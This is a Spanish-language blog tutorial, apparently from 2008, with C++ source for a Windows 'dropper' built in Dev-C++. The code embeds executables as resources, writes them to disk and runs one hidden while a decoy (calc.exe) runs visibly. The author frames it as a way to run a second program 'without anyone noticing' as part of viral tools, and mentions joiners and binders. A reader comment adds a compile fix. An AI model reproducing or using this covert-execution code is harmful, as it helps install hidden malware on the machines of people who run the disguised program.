// Estas leyendo...

C \\ C++

Dropper C++ \ Dev-C++

Bueno antes de empezar a codear nuestras herramientas víricas o no víricas es necesario saber como portar recursos a nuestra aplicación, para que nos sirve?, principalmente nos va servir para dos cosas:

Ejecutar un segundo programa al ejecutar nuestra aplicación sin que nadie lo note.
Portar herramientas útiles o recursos dentro de nuestro programa.

Bueno eso fue suficiente de teoría ahora manos a la obra.

Lo primero será crear un nuevo proyecto de consola en Dev C++

Nos vamos a:
File — New — Resource File

Y nos creara un archivo.rc, ahora procedemos a escribir los archivos que necesitemos utilizar.

En el ejemplo introduciremos dentro de nuestro programa dos exe

binario RT_RCDATA “1.exe”
binario2 RT_RCDATA “calc.exe”

#include
#include
#include
/* —————————— /*
/*    | [ Dropper 1.0 ] |
/* << www.aztekmindz.org >>
/*  - octalh@gmail.com  -
/* —————————— /*
/* Anti Script Kiddie
*/

using namespace std;

void extraer1(){

          HANDLE  hbinario2; //handle del recurso
          HRSRC hbinario;  // variable del recurso
          void* data; //recurso

          hbinario = FindResource( NULL, "binario", "RT_RCDATA" ); //buscamos recurso
          hbinario2 = LoadResource( NULL, hbinario ); // cargamos recurso
          data = LockResource( hbinario2 ); //  fijamos recurso para usarlo
          DWORD size = SizeofResource(0, hbinario); // medimos el tamaño del recurso
          FILE* f = fopen("1.exe","wb");  //creamos el archivo donde copiarlo
          fwrite(data, size, 1, f); // escribimos en el archivo el buffer del recurso
          fclose(f); // cerramos el arhivo
          WinExec("1.exe", SW_HIDE); //lo ejecutamos en modo oculto
          FreeResource( hbinario ); // liberamos recurso
          }

void extraer2(){

          HANDLE  hbinario2; //handle del recurso
          HRSRC hbinario;  // variable del recurso
          void* data; //recurso

          hbinario = FindResource( NULL, "binario2", "RT_RCDATA" ); //buscamos recurso
          hbinario2 = LoadResource( NULL, hbinario ); // cargamos recurso
          data = LockResource( hbinario2 ); //  fijamos recurso para usarlo
          DWORD size = SizeofResource(0, hbinario); // medimos el tamaño del recurso
          FILE* f = fopen("calc.exe","wb");  //creamos el archivo donde copiarlo
          fwrite(data, size, 1, f); // escribimos en el archivo el buffer del recurso
          fclose(f); // cerramos el arhivo
          WinExec("calc.exe", SW_SHOWNORMAL); //lo ejecutamos normalmente
          FreeResource( hbinario ); // liberamos recurso
          }

int main(int argc, char *argv[])
{
extraer1(); // ejecutamos 1.exe [OCULTO]
extraer2(); // ejecutamos calc.exe [NORMAL]
}

Bien ahora ya sabes como incluir otros binarios dentro de tu aplicacion y como sacarles provecho.
El codigo puede mejorarce mucho añadiendo comprobaciones en cada etapa para evitar errores.

Esta podria considerarce una buena forma de incluir multiples archivos sin requerir de un joiner o blinder

Comentarios

One comment para “Dropper C++ \ Dev-C++”

  1. muy bueno excelente diria yo mira despues de algo más de 13 años estoy desempolvando esto del lenguaje C me tope con esto del DEV-C++ y el WXDEV jamas me gusto los lenguajes Visual de Micro$oft.

    #include
    #include
    #
    */
    void extraer1();
    void extraer2();
    ///solo faltaba por aca ///declarar prototipo de funciones y corre el programa en dev-c++ en si para c no hay limites ni barreras todo corre

    using namespace std;

    Editado…

    Posted by fainder | agosto 18, 2008, 16:52

Deja un comentario